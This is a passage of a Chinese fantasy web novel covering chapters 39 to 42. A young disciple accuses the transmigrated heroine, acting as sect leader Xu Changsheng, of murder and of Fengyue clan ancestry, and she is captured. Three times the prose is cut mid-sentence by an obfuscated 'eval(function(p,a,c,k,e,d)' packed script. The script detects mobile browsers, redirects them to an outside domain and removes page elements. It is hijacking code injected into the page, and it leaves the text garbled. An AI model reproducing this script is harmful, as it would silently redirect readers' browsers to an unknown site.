一时间巫阳城大乱，百姓们惊恐逃离之际，又因为有人摔倒而发生踩踏，哀嚎不断。 更可怕的是，以死去道士为中心，他们的血肉中弥漫出阵阵猩黑雾气，飘散空中。 沾染到的人身上很快浮现黑色纹路，随即同样痛苦倒地，吐血抽搐…… “咒术在扩散！” 江霓最先察觉到问题，立即尝试施法控制道士身上逸散的黑气。 常栩也反应过来，指挥苍华弟子一同控制局面。 韩尚同作为在场修为最高者，跃到空中，以纯阳灵力遏制黑气扩散，虽救下部分人，但因感染者太过分散，仍有许多人来不及救治。 不过一刻钟，死伤者已不计其数。 “叮铃。” 清脆而愉悦的铃音，不合时宜地回荡在满街混乱之中。 随着血雾渐散，一名青衣少女缓步走出。 她手中正拖着两名满身血污的道士。 江霓警惕地盯着她：“这些道士身上的咒术，是你引爆的？” 少女笑意盈盈：“对啊。” 江霓见她若无其事地踩着满地尸骸，忍不住一掌击出。 少女闪身避过，挑眉道：“我帮了你们，怎么如此不知好歹？” 眼看二人就要动手，聂长老急忙阻止：“且慢！误会，都是误会！江小友稍安，这位是我们南玄弟子楚绝，也是来查案的！” 江霓满脸写着不信，但还是退回原地。 苍华众人皆是第一次见到楚绝，见她不过十七八岁模样，却能有如此实力，甚至似乎比江霓还强上几分，都不免惊讶。 聂长老的语气中不无酸意：“楚绝师侄根骨清奇，乃是罕见的奇才，入门两年便有如此进境，当真后生可畏啊。” 一旁的洛执剑嘲讽道：“应该说你们南玄后继无人才对，连个小姑娘都如此嚣张。” 聂长老这次没理他，客客气气地问楚绝：“师侄可是查到了什么线索？” 楚绝将拖着的道士甩在地上，道：“既然是这群人有问题，当然要尽快擒住了。你们拖拖拉拉，是想等人都跑光吗？” 江霓忍不住道：“这些道士身中咒术、如此危险，你这般鲁莽行事，枉顾人命！” 楚绝不以为意：“那又如何？抓到人、拿到线索，才是我的任务。” 她指着地上奄奄一息的道士，“比起你们这群一无所获的，我才是更有用的那个。靠你们，可抓不住这几个人。” 众人俯身查探，发现这几人虽都受了不轻的伤，但都无性命之忧，确实可供审问。 韩尚同问：“他们身上没有咒术吗？” “不管是什么咒术，想控制这么多人谈何容易？总有一两个惜命的。”楚绝松了松手腕，抬眼打量他，忽然话锋一转，“你这人不错。修为高，模样也俊，是哪个门派的？” 这姑娘年纪虽小，言行举止却一派老练，甚至透着一股狠辣。 展玉川作为天元宗弟子，对她这般作风颇为不满，见她盯上韩尚同，当即上前一步：“这位是苍华派的韩尚同，随我前来协查此案。” 楚绝饶有兴致道：“原来你就是大名鼎鼎的韩尚同，确实一表人才，难怪连岳婉吟那样的美人都对你倾心，昏迷中还念着你的名字。” 韩尚同顿时失了冷静：“你见过婉吟姑娘？” “她已经被我救下了。”楚绝道，“说起来，还是多亏了岳婉吟，我才知道怎么擒住这几个道士。” 一旁的常栩听得讶异。 她原以为这次行动又会像太阴城那样困难重重，没想到这小姑娘出手迅速，竟然在这么短的时间内轻松解决了问题。 韩尚同闻言神色稍缓，问道：“婉吟现在何处？还请姑娘告知。” 楚绝却抬起手臂，横剑拦在他身前：“你这般关心岳婉吟， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362929|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫非也喜欢她？” 这问题说得颇为冒昧，不过看在相救的份上，韩尚同顿了顿，还是坦然答道：“没错，岳姑娘是在下心仪之人。” “竟然是两情相悦吗？这倒有些难办了。”楚绝自顾自思索，“嗯，看来得从岳婉吟那儿下手了。” 韩尚同不解：“姑娘此言何意？” 楚绝扬起笑脸，直言道：“当然是因为我看上你了，要说动岳婉吟把你让给我。你别喜欢她了，随我回南玄吧。” 韩尚同一怔。 常栩早知韩尚同受欢迎，此番亲眼得见，仍不禁暗暗感叹:不愧是男主，这种情形下都能招来桃花，虽然是朵凶狠泼辣的咬人花。 韩尚同神情古怪，只道：“姑娘切莫说笑，此举实在不妥。” “你不愿意？那可能由不得你。”楚绝漫不经心地说，“别忘了，岳婉吟既是我救下的，顺便请她去南玄做客几日，青离宫应当不会拒绝吧？” 聂长老连声附和：“自然、自然，师侄言之有理。” 楚绝此举摆明了是要挟恩图报。 韩尚同心系岳婉吟安危，又顾忌门派声誉，一时陷入两难。 这种时候，常栩觉得该轮到自己这个师姐出场了。 她走到楚绝面前，冷不丁拔出剑：“你来晚了一步，因为我也喜欢韩尚同。不如咱们先比一场，你若输了，证明你没本事，就放了岳婉吟。” 韩尚同：“……” 苍华众人：“……” 方才还危机四伏的巫阳城，转眼竟上演二女争夫的戏码，在场众人无不睁大眼睛、竖起耳朵，想知道她们唱的是哪一出。 楚绝不知道常栩身份，上下打量她一番，只以为是个寻常追求者，质问道：“你既然喜欢他，为何要帮他救回岳婉吟？” 常栩义正辞严：“正是因为喜欢，我才希望他能幸福，自然要助他与心上人长相厮守了。” 楚绝嗤笑：“愚蠢！‘爱’该当是独占，岂可无私！像你这般想法，只能说是爱得不够深。” 常栩懒得同这中二少女辩论，哼道：“怎么，你不敢与我比试吗？怕输给我？若是我这般‘爱得不够’的人都能赢你，可见你的爱也不过如此。” 楚绝果然受不得挑衅，立刻应战：“那就来吧！” 话音未落，少女已如青色雷光般疾攻而出，常栩同样拔剑相对，转眼间二人已过了数招。 楚绝出手招招狠辣，直奔咽喉、心口等要害之处，说是切磋，却拿出了以命相搏的架势。 展玉川觉得不妥，提醒聂长老劝阻一番，对方无奈摊手：“我可管不了她。” 韩尚同万没想到会有这一出，忍不住上前一步，腰间的碎天刀已出鞘数寸，却被常栩用眼神止住。 这一年来，常栩并非一直无所事事。 因为怕最终任务前发生什么别的意外，她每日在门派里勤修不辍，如今已将灼华令练至最高境界了。 楚绝即使再天赋异禀，终究年轻，不是她的对手。 加之常栩未着苍华派服饰，楚绝只当她是普通修士，大意之下，很快露出破绽。 “铛”的一声，缠绕幽蓝火焰的黑剑击飞了弯刀。 楚绝兵刃脱手，来不及反应，膝窝传来一阵疼痛，整个人已被一股力道压跪在地。 常栩居高临下，有意给她一个教训，便道：“我观楚姑娘方才那般自信威风，以为有多么过人的本事，原来不过是个不知天高地厚的纸老虎。” “奉劝你一句，你日后行事谨慎些，我苍华之人，容不得外人欺辱。” “苍华……灼华令……” 楚绝死死盯着手臂上灼伤，猛然发现了什么，“原来是你……你是许长生？” 常栩挑眉道：“正是苍华代掌门许长生。怎么，楚姑娘有何指教？” 谁知，楚绝只死死盯住她，那张稚嫩的脸上逐渐露出了夸张的、堪称狰狞的笑容。 “我找你好久了。” 40. 第四十章 请君入瓮 楚绝的目光直勾勾盯过来，像淬了毒的蛇信，隐约还缠着几分说不清的怨恨。 常栩大为不解：“我们之前见过？” 楚绝却抿紧嘴唇，不再开口。 聂长老见气氛闹得有些僵，忙上前打圆场，连声道歉：“楚师侄年纪还小，不知轻重，请许掌门千万别同她计较啊。” 展玉川也适时缓和道：“是啊，如今追查乌衣道才是要紧，莫要伤了和气。” 常栩本意也只是挫一挫对方的锐气，并没真想为难她，便顺势收回灵力，放开禁锢。 展玉川作为天元宗之人，主动担负起居中调和之责，对聂长老正色道：“岳姑娘是青离宫的人，恐怕不能由南玄随意带走。况且巫阳城的事还有待查清，莫要旁生枝节。” 聂长老一副老好人的和气模样：“当然、当然，楚师侄方才只是说笑罢了。岳姑娘现下正在庄子里休息，待她醒来，诸位随时可去探望。” 经过方才一番龃龉，苍华与南玄两派之间不免存了些尴尬。 韩尚同虽然心下焦急，还是勉力克制住了，对展玉川道：“那便有劳展兄代为照顾岳姑娘了。” 展玉川视他为至交，自然乐意代劳，当即表示：“我会妥善安排。” 常栩微微颔首，随即带领苍华众人入城休息，临走前不忘警告楚绝，让她不得再寻岳婉吟的麻烦。 楚绝紧紧盯着常栩：“没问题。” 南玄倒并未食言，次日一早，便由展玉川将岳婉吟送至苍华派所住的客栈。 常栩打眼望去，只见岳婉吟一袭浅蓝衣裙，清雅简约，衬得身姿轻盈，宛若仙子。 这一年她出落得越发夺目，只不过现下因受伤之故清减了不少，漂亮的脸上染上几分病气。 好在除此之外并无大碍。 韩尚同这才放下心，向展玉川道谢。 对方却神色凝重地看向常栩：“许掌门，南玄派有话转达，说昨日之事是楚绝唐突，今天下午，希望苍华派能一同行动，顺便澄清一些误会。” 常栩想起昨日种种，不解道：“话都说得明明白白，还有什么可误会的？” 展玉川目光复杂，欲言又止。 他不知道从南玄那边听到了什么，只道：“依我看，许掌门还是去一趟为好。” 看在他送回岳婉吟的份上，常栩最终还是同意了。 展玉川寒暄几句便告辞离去，苍华众人关起门来，围在岳婉吟身边关切询问。 韩尚同扶她到床边坐下，轻声问：“感觉如何？可还有哪里不适？” 江霓这一年多在广元堂随穆蘅学了不少医术，当即施法为她固本培元。 常栩在一旁看着这位多灾多难的女主，也忍不住道：“仔细瞧瞧，千万别留下什么隐患。” 感受到众人真心实意的关怀，岳婉吟心头一暖，浅笑道：“并无大碍。那些道士刚抓住我，还来不及施咒，楚绝姑娘就带人把我救出来啦。” 常栩稍微放心了些，听她提起道士，顺势问起：“昨天上午究竟发生了什么？你是怎么被他们抓走的？” 岳婉吟将这几日的经历娓娓道来。 她前日游历至巫阳城，因是私下行动，未以青离宫的名义，南玄与伏幽派只简单告知情况，并未让她参与调查。 岳婉吟便自行在城内寻找线索，意外发现这一个月来其实也有男子失踪，只是人数不多，又多是地痞无赖，因而无人留意。 这让她意识到犯人可能并非只针对女子，“采花贼”一说怕是误导。 顺着这条线，她找到几名失踪男子都曾接触过的一名算命先生，为免打草惊蛇，只装作寻常客人求了一支姻缘签。 当晚回到住处，岳婉吟感知到签上残留的特殊气息，留心四周动静，想要引蛇出洞。 却没料到，等来的并非普通歹人—— 客栈内所有人顷刻间陷入昏迷，十余名道士凭空出现将她包围。 纵使岳婉吟早有准备，却根本不是对手。昏迷之前，她看见所有道士都向一名身着乌衣之人跪地俯首。 常栩挑眉：“你是说，你遇上了这群道士背后的主使？” 岳婉吟点头，又蹙眉道：“我也不十分确定，但那人确实与其他道士不同……非常奇怪，声音和面容都异常诡异。” 江霓追问：“此话怎么说？” “我感觉，那人说话的声音一直在变，仿佛由数十人的声音拼凑而成，竟有男女老少之感，听起来很是怪异。他的面容也极其僵硬，像一张缝缝补补的假面。” 岳婉吟忆起，当时，那双冰冷的眼睛直勾勾地盯着她，留下一句：“这是上等的纯阴之体，用处更大，先不要处理，等我回来再说。” 之后不久，楚绝带人冲进来擒住看守的道士，却未能找到这名怪异的主谋。 听了岳婉吟的叙述，江霓十分惊讶，纵使她自幼见过不少鬼怪，仍觉此事诡异非常。 韩尚同游历多年，倒是听闻有些鬼修和魔修可能不似人形，却也想象不出具体的情形。 常栩陷入沉思。她注意到那道士所说的“等我回来”，直觉背后恐怕有更大阴谋。 但巫阳城终究是南玄与伏幽派的地盘，苍华难以过多插手，加之昨日又生不快…… 常栩抬起眼睛，默默瞥了韩尚同一眼。 她的脑中闪过让他用“美男计”去楚绝那儿套消息的念头，转念一想又遗憾作罢。 这小子是个沾花惹草的体质，可别被人吃了。 对了，还有另一个机会…… 常栩又想起展玉川代为转达的话，心道正好，可以借下午见面的机会向南玄派打听一番。 不久之后，因巫阳城内尚有残余咒术，江霓照料岳婉吟片刻后便离去帮忙净化黑气。 常栩看她忙前忙后，想起初遇时她那胆小如鼠的模样，心里不由生出几分“吾家有女初长成”的感慨。 很快到了下午，南玄弟子上门请常栩前往山庄。 “许掌门一人前往即可，众人已等候多时。天元宗的人也在，劝您莫要轻举妄动。” 语气之中，隐隐透出不善。 常栩并未放在心上，只当是南玄因昨日失了面子，想给她个下马威。 不过，她又不是任人拿捏的软柿子，怎会乖乖听话？ 常栩当下冷哼一声，叫上所有的苍华弟子随自己一同前往。 “我也去吧，”岳婉吟不放心道，“楚绝似乎对长生姑娘有些误会，或许我能帮忙解释。” 韩尚同犹豫片刻，点了点头，带着她随苍华众人一同赶往南玄派所在之处。 一路上，常栩一行人浩浩荡荡、气势十足，丝毫不怯场，惹得百姓议论围观。 南玄派的驻地是一座富丽堂皇的山庄。 苍华众人刚踏入院子，身后大门便被轰然关闭，仿佛是要瓮中捉鳖。 常栩倒没料到对方行事如此不客气，扬声问道：“这便是南玄的待客之道吗？” 韩尚同见展玉川与南玄、伏幽派的人一同站在不远处，皱眉问：“还请展兄告知，这是何意？” 展玉川显然知道些什么，用上了公事公办的语气：“此事非为针对苍华派，而是只关乎许长生一人，还请韩兄莫要插手。” 楚绝从人群中走出，站到苍华派众人面前，开口道：“我们近日查到一些事，其中牵涉许掌门。有些问题，还请你如实回答。” 伏幽派的洛执剑紧随其后，默契地接过话：“我师姐一年前失踪，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚绝冷笑：“你不认得我，我却对你的名字如雷贯耳、一刻也不敢忘。” “我南玄派姬长老的爱人就是为你所害，这件事情，许长生你敢说自己不记得吗！” 常栩：“……” 这人谁？ 许是因为常栩脸上的茫然太过明显，楚绝咬牙道：“你还想装糊涂！我告诉你，此事展玉川亦可作证，休想抵赖！” 展玉川沉声说：“南玄早与我说过此事，许掌门，天元宗并非认定你就是凶手，但若在这种情况下仍不肯配合，只怕会落人口实，于苍华派声誉亦有损，还请斟酌轻重。” 眼看这群人就要给常栩定罪，韩尚同上前一步，坚定道：“我绝不会让你们带走大师姐。此中定然有误会。” 楚绝弯起嘴角，看着韩尚同，问道：“不知韩公子是否听过奉月族？” 常栩心中蓦地一沉，心里忽地涌现出一种不好的预感。 果然，下一刻，楚绝指着常栩，扬声道：“自从百年前最后一支明面上的奉月族隐入魔界，人界奉月族再无踪迹，几近灭绝。可谁又能知道，如今竟然有一名奉月族在修真界声名显赫！” 院内倏地安静了一瞬。 随即哗然四起，众人都露出震惊之色，就连南玄派的弟子也被这消息惊得目瞪口呆。 楚绝盯着常栩：“奉月族的外表与人族无异，但有一处特征——每个奉月族的身上都有一道印记，便是一枚青色的花纹。” “许长生，你敢让众人看一看你的手臂内侧吗？ 41. 第四十一章 再见故人 常栩在脑中冷静地问系统：“所以我手臂上的花纹，真的和奉月族有关？” 系统答道：【当然。宿主难道一直不知道吗？】 “我还以为……那只是许长生个人的什么特殊爱好……” 直到此刻，常栩才后知后觉地意识到自己有多粗心。 她缓缓深吸一口气，试图理清思绪。 可常栩还是想不通，就原著中而言，“奉月族”这个设定仅仅是为了复活岳婉吟而存在，除此之外几乎毫无存在感。 既然如此，为什么会有人因奉月族的事专门来找她麻烦？ 更让她心惊的是，楚绝究竟是如何得知她手臂上有奉月族花纹的？ 楚绝见常栩站在原地一动不动，语带挑衅地笑道：“怎么，许掌门，只是让大家看一眼你的手臂而已，难道有什么难处吗？” 常栩面不改色：“那就请楚姑娘示下，你所说的，具体是怎样的花纹？” “当然可以。” 楚绝显然有备而来，当即从袖中抽出一张纸抛向半空。 术法流转间，纸上的花纹逐渐放大、清晰地呈现在所有人面前。 那是一枚青色的五瓣梅花。 楚绝转向岳婉吟：“听闻青离宫的岳姑娘博览天下典籍，应当可以认出，此图腾是否与奉月族有关？” 岳婉吟迟疑片刻，点了点头：“确是奉月族与生俱来的印记。” 常栩的心彻底沉了下去。 见楚绝如此笃定，一些苍华弟子也不由生出几分疑虑，纷纷回头望向常栩，有些不知所措。 原本针锋相对的南玄与伏幽派两派，此时也站在同一阵线，异口同声要求常栩自证身份。 “奉月族……” 站在最前方的韩尚同望着眼前的花纹，忽地捂住额头，踉跄着后退两步。 他的脑中浮现出陌生的画面，如狂风般掠过，使他头痛欲裂，不由得浑身颤抖，半跪于地。 “韩师兄！” “尚同！” 这突如其来的变故打断了所有人的思绪，苍华派诸人与岳婉吟立时围上前去。 楚绝没料到韩尚同会有如此反应，不由一怔。 由于江霓不在，苍华派这边无人精通医术，还是展玉川主动上前查看，而后皱眉问道：“身体并无大碍，似是因受刺激想起了什么。韩兄以往可曾失忆？” 苍华弟子纷纷摇头，表示从未听说。 唯有常栩意识到，韩尚同幼时应是与奉月族有所接触，才会在看到花纹后产生如此强烈的反应。 看来他要恢复记忆了，没想到是在这种情况下。 韩尚同很快因剧痛陷入昏迷。 少了这样一位最强战力，苍华派的处境变得更加不妙了。 常栩环顾四周，心知自己已落入彀中。 她暗自衡量，以自己如今的修为，强行突围并非难事，就怕对方还留有不为人知的后手。 更何况……她也想知道，南玄派为何会对她的事情如此了解，又因何步步紧逼至此。 那个什么长老的妻子究竟是谁啊？ 常栩认真回想了一遍，并不记得自己有过滥杀无辜的时候。 “既然诸位如此怀疑我，那我随你们走一趟便是。” 常栩冷静开口。 “只是不知，南玄与伏幽派皆声称我是杀人凶手，我到底该去哪里呢？谁有本事带走我，我便让谁辨明我是否为奉月族。” “同仇敌忾”不过片刻的聂长老和洛执剑对视一眼，立刻又争论起来：“自然是去南玄派！” “可笑！分明是我伏幽派先来的！” 常栩冷笑：“丑话说在前头，我许长生也不是任人怀疑的软柿子。诸位最好能明白，我不现出手臂，是给你们信任我的机会。若是届时证明你们的指控纯属子虚乌有——那么，今日擅自关押苍华掌门之辱，许长生必定加倍奉还。” 这番话中的威胁之意显而易见。 众人想起常栩几年前的“暴君”之名，知道她非易于之辈，不由被震慑住了，一时迟疑。 楚绝哼了一声：“许长生，都这个时候了，你还有这么多话可说，真实牙尖嘴利。我楚绝既敢指证你，自然不怕你报复。若伏幽派没这个胆子，人就由我南玄带走了。” “不行。” 一直在旁静观的展玉川终于开口：“许掌门之事牵涉甚广，应交由天元宗调查。南玄与伏幽派可派人同行。” 楚绝没料到他会如此表态，蹙眉问：“这又是为何？” 展玉川看了一眼昏迷的韩尚同，正色道：“奉月族与魔族关系匪浅，若真牵涉至此，天元宗必须介入。” 楚绝道：“这和我们先前说好的可不一样。” 展玉川抬眼反问：“楚姑娘先前也未曾提及奉月族之事，不是吗？” 楚绝一时语塞，随即不满道：“真是多此一举！好，我们便随你前往天元宗。” 眼见天元宗就要带走常栩，苍华弟子皆不知还如何是好。 岳婉吟心中焦急，看了眼怀中昏迷的韩尚同，心一横，咬牙道：“且慢！许长生绝非奉月族，我青离宫愿为她担保——” “岳姑娘，三思而后行。”楚绝警告道，“此事已经牵涉够多的门派了，你还要将青离宫卷进来吗？你师尊同意了吗？” 岳婉吟如被泼了一盆冷水，愣在原地。 常栩没料到岳婉吟竟愿为自己做到这一步，心头微暖。 不过，她心下已有决断，不愿让岳婉吟为难，于是道：“岳姑娘不必费心。我正想去看看，究竟是谁在背后算计我。” 说完，常栩执起赤荧剑，在众人反应过来之间横扫一周，幽蓝火焰所到之处，灼人的剑意从每个人的颈边掠过。 她淡淡道:“今日一遭，若苍华派弟子有半分损伤，我定不轻饶。” 众人未料她修为已至如此境界，皆心中骇然。 展玉川眼中掠过一丝惊艳，语气恭敬了几分：“许掌门放心，我与韩兄乃挚友，定会护他周全。” 随即示意天元宗弟子上前带走常栩。 南玄与伏幽派众人紧随其后，陆续离开了山庄。 巫阳城的风波就这样告一段落。 除了一部分弟子留下善后外，南玄与伏幽派的大部分人马都跟随离开，一同押送常栩前往天元宗。 途中，常栩问系统此事该如何收场。 眼下虽然靠着虚张声势气暂且稳住局面，但不是长久之计，一旦抵达玉霄城，可就再也瞒不住了。 系统也没什么好办法，只分析道：【方才情形与原著中许长生身败名裂的剧情相似，但宣凌还未出现，威望值也未有下降，无法触发剧情点。建议不要轻举妄动。】 “都这样了威望值还没降？苍华派的人就这么信我？” 常栩有些意外，又道，“照你这么说，我就只能束手就擒？那估计撑不到宣凌回来，我就得死在天元宗。” 说起来，上次去天元宗还是为了坑宣凌，没想到这么快就轮到自己了。 常栩心下感慨几句，余光瞥见紧盯自己的楚绝，有了主意：“我看问题就出在这丫头 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“许长生，你犯下那般罪行，竟忘得一干二净！当真该死！” “哎，就算要杀我，也让我做个明白鬼吧。”常栩不依不饶地说，“你若一直说得不清不楚，我可就更想不起来了，到时候索性不认罪了。” 楚绝握紧拳头，寒声道：“好，那我便提醒你。你可还记得永川镇的一处庭院？” 常栩没料到她会提及永川镇，察觉对方恨意不似作伪，心头一惊，竟有些不确定了。 难道自己真做过什么伤天害理之事？ 楚绝似乎冷静了些，冷冷道：“两年前，我被卖至永川镇，是一位姑娘救了我。而她，被你杀了。” 常栩心中疑惑更甚。 此时二人离得近，她得意仔细端详对方面容，竟真的觉察出几分熟悉之感。 永川镇……被卖…… 中秋节！ 常栩猛地瞪大眼睛，终于想起来了。 这个楚绝，不正是当初她与宣凌在中秋节救下的那个奴隶女孩吗！ 相认的话语几乎脱口而出，又被常栩生生咽回——毕竟，她如今是“许长生”，而非“裳儿”。 楚绝口中被她害死之人，竟就是“裳儿”？！ 常栩一时心神大乱，被这料想不到的状况砸得发懵。 然而，她这副神态落在楚绝眼中，却成了罪证确凿后的心虚。 “你终于想起来了！” 常栩根本无心听她说什么，满脑子想的都是这姑娘为何会加入南玄派，又为何认定是自己杀了裳儿？ 是谁对她说了什么？ 除了宣凌，常栩想不到第二个人。 楚绝之所以针对自己，必定与宣凌有关。 想到这种可能，常栩只觉一阵头晕目眩。 可宣凌此刻不该正在危冥山当他的魔尊吗，难道已经回来了？ 这时，常栩忽觉手臂传来一阵刺痛，低头看去，才注意到楚绝用来缚她的金色软绳似乎不太对劲—— 上面竟然布下了专门克制她的阴系灵力，分明是有意针对！ 来者不善。 常栩倒吸一口凉气。 这根本就是一个为她量身打造的圈套，可笑她竟真跳了进来，任人宰割！ 不对，现在不是懊悔的时候。 眼下最要紧的是，绝不能去天元宗了。 既然对方有心陷害，必定还留有更险恶的后手。 电光石火间，常栩下定决心，必须设法逃走！ 42. 第四十二章 逃无可逃 强自镇定下来后，常栩不再理会楚绝，心知这丫头绝不会给她半点逃脱的机会。 她转而看向展玉川，径直走上前，将被缚的手臂伸到他面前，冷声质问：“无凭无据，为何这样对我？天元宗便是这般行事的？” 展玉川向来注重门派声誉，听她如此说，耐心解释道：“许掌门修为高深，当初太阴城之事天下皆知，诸位如此防备也是情理之中。” “我信得过你，但信不过他们。” 常栩指向楚绝，“尤其那丫头。你也看到了，她心仪韩尚同，视我为眼中钉，若途中借机折磨我，又当如何？若我不明不白死在路上，你们天元宗只怕要与苍华结下梁子。” “我毕竟是韩尚同的师姐，若真在你眼皮底下出事，他断不会善罢甘休。你总不愿他因此与你生出嫌隙吧？” 这话算是正中展玉川的心事。他略带遗憾地说：“韩兄重情重义，实不该卷入这等是非。若有可能，我倒是盼他能转投天元宗门下。” 常栩：“……” 好家伙，这小子瞧着一本正经，竟然存了挖墙脚的心思！她这掌门可还没死呢！ 不过眼下情势危急，常栩转念一想……嗯，倒也不是不能暂且“死一死”。 于是她放缓声音，温言道：“你说得有理。只要你护我周全，等到日后见了韩尚同，我定替你美言几句。” 常栩素来嚣张，南玄与伏幽派众人何曾见过她这般轻声细语的模样，不禁面面相觑，捉摸不透她究竟打的什么算盘。 展玉川有所迟疑，似乎说动了。 楚绝一脸嫌恶：“许长生，休要危言耸听。在你的罪行昭告天下之前，我们岂会容你轻易死去？那对我们有何好处？” “是吗？你真能保证不杀我？”常栩试探性地拿出一个杀手锏，问道，“……可还记得我师弟宣凌？” 楚绝顿时变了脸色，咬牙切齿道：“许长生，你竟还敢提他！” 展玉川想了想：“宣凌？便是那位从天元宗失踪的苍华弟子？” “正是。”常栩加重了语气，“宣凌失踪，你们天元宗本就难辞其咎。苍华派至今未追究，是因为信你天元宗公正。可若此番我你再不看好我，但凡发生一点意外，天元宗的颜面只怕真要扫地了！ 展玉川终于被她说动了。 见楚绝怒不可遏、撸起袖子似乎要动手，他上前一步拦住，劝道：“楚姑娘，稍安勿躁。真相未明前，许长生仍是苍华代掌门，容不得你这般羞辱。既然她有这要求，便由我来看守吧。” 楚绝咬紧牙关，怒气冲冲地转身离去。 她怕自己再多待一刻，真会忍不住杀了这女人！ 南玄的聂长老对此无甚意见，伏幽派的人也未反对，只警告道：“许掌门，我们不会伤你，但也请你安分些，莫耍花招。” 常栩心道，不搞事？留在这里等死吗？ 众人散了之后，她坐在离展玉川三丈远的地方，背对着他，暗中询问系统可有解除绳索之法。 这鬼东西竟似活物，越收越紧，还在不断吸取她的灵力，可真不像正派之人会用的东西。 研究绳索之余，常栩耐心静候夜幕降临。 月悬中天，一行人在林中歇脚。 有弟子来寻展玉川商议事情，他回头瞥了一眼，发现常栩已在法阵中安然入睡。 因她一路还算安分，又是自愿前往天元宗，展玉川并未怀疑，只稍微加强了阵法的防护，便随那弟子离去。 也正是在这时，常栩睁开了眼睛。她一把扯下臂上绳索，随手丢开。 短短半日，体内的灵力已耗去大半。 时不我待，常栩唤出赤荧剑，迅速从山崖跃下，隐入夜色中飞行。 这群人中除了展玉川外皆非她的对手，因而无人察觉，让她轻松脱身。 常栩本打算先回苍华从长计议，飞至半途，远方天光渐亮，才发觉正好行至永川镇外的山林。 裳儿的身体就藏在附近的山洞中。 想起近日发生的种种，常栩心下莫名感到不安，于是方向一转，来到了那处隐蔽的、设有阵法的山洞。 然而，用于遮掩气息的法器不知为何掉落在了洞口，已经失效了。 常栩定定地走入山洞，望向中间的玉床。 本该躺在那里的、自己的身体，不翼而飞了。 到了此时，她终于注意到角落里散落的那几块碎玉，与昀秀峰外所见如出一辙。 常栩心头警铃大作，几乎不及细想，近乎本能地飞身冲出山洞，直往不息山赶去—— 她前所未有地意识到，危险就在附近。 可这次才起飞不久，常栩悚然发觉，体内的灵力竟然出现波动，变得紊乱。 紧接着，手臂先前被缚之处倏地浮现红色勒痕，阵阵刺痛袭来，伴随一股强烈的魔气。 常栩这才发觉，那条该死的绳子比她想的还要怪异，明明已经解开了，竟还残存效力，令缓慢恢复的灵力加速流失。 这是什么邪术！ 想起楚绝取她血滴在绳上的一幕，常栩忍不住暗骂，这小丫头几年不见，竟变得如此阴险！ 能拿出这种充满魔气的东西，她现在万分确定，楚绝百分之一万与宣凌有关！ 那小子说不定正布下陷阱等她自投罗网，必须尽快躲起来！ 常栩心下焦急，不自觉加速催动灵力。 然而由于流失太快，她没能把握好飞行的速度，一时失控，竟从剑上甩落，一头栽向下方的闹市。 “哐”的一声巨响，常栩从空中坠落，重重砸在地上，摔得头晕眼花、狼狈不堪。 也顾不上疼，她第一反应是迅速蒙住自己的脸——太丢人了！ 常栩当了这么久的许长生，时刻不敢崩人设，早将体面刻进骨子里，何曾有这般丢人的时候，坚决不能辱没了名声。 周遭百姓只见飞在空中的仙人如流星般坠地，纷纷驻足围观，有几个胆大的还上前几步，探看这位“仙人”是否安好。 常栩捂着脸摆摆手，勉强爬起，用了仅存的微末灵力简单疗伤。 才不过几息之间，她的法力已近乎枯竭。 深感大事不妙，常栩一瘸一拐地站起，抓起一顶斗笠遮在脸上，埋头将自己隐入人群之中。 凭借对永川镇的熟悉，她很快摸近城门。 常栩在心里盘算好回不息山的路线，掀开斗笠向远处看了一眼 然后，她就停下了脚步。 只见永川镇外围的空中，天元宗、南玄与伏幽派的人正陆续赶来，完全堵住了她的去路。 怎么会这么快！ 常栩简直欲哭无泪。 这下可不止南玄和伏幽派要找她麻烦，展玉川被她骗了这么一回，只怕是也要对她不假辞色了。 果然，下一刻，展玉川灌注灵力的声音响彻永川镇上空。 “许掌门，还请现身吧。可知此番逃走，更坐实了你的嫌疑。” 常栩却不甘心束手就擒，趁着还没被发现，顺着人流悄然后退，打算先在镇中避一避。 忽然，城门口原本安静的百姓不知看到什么，发出一阵惊呼，瞪大了眼睛仰首望天。 与此同时，常栩感到一股令人毛骨悚然的、熟悉至极的力量自身后涌现，与她体内残存的魔气遥相呼应，宛如排山倒海般压来。 她几乎完全没有思考、不敢回头，下意识便要逃跑。 那力量似有所觉，顷刻袭来。 常栩仓惶横剑抵抗，却犹如蚍蜉撼树，“铿”地被震飞数丈。 这一击之后，她最后一丝灵力彻底溃散，手臂被震得发麻，长剑跟着脱手。 百姓们自觉让出一条道，将常栩完全暴露在所有人的目光之下。 “师姐。” 温柔缱绻的声音，却让人的脊背无端攀上寒意。 这一年多来，唤常栩师姐的人很多，唯独这个声音，她一刻不敢忘。 宣凌。 常栩僵硬地从地上爬起，深吸一口气，终于鼓足勇气回头。 一年不见，宣凌身量更高了些。他穿着一袭素色长衫，踏空而至，缓缓落在她面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚绝对展玉川冷笑：“前辈还有何话说？人是从你手中逃脱的，若非我们早有准备，你待如何交代？” 展玉川叹气：“难怪你如此恨许掌门，确实甚是可疑。此事是天元宗失责，便依你所言，先将许掌门带去南玄吧。” 不行！ 常栩大急，一把拽住展玉川衣袖死不松手，拼命以眼神恳求他带自己走—— 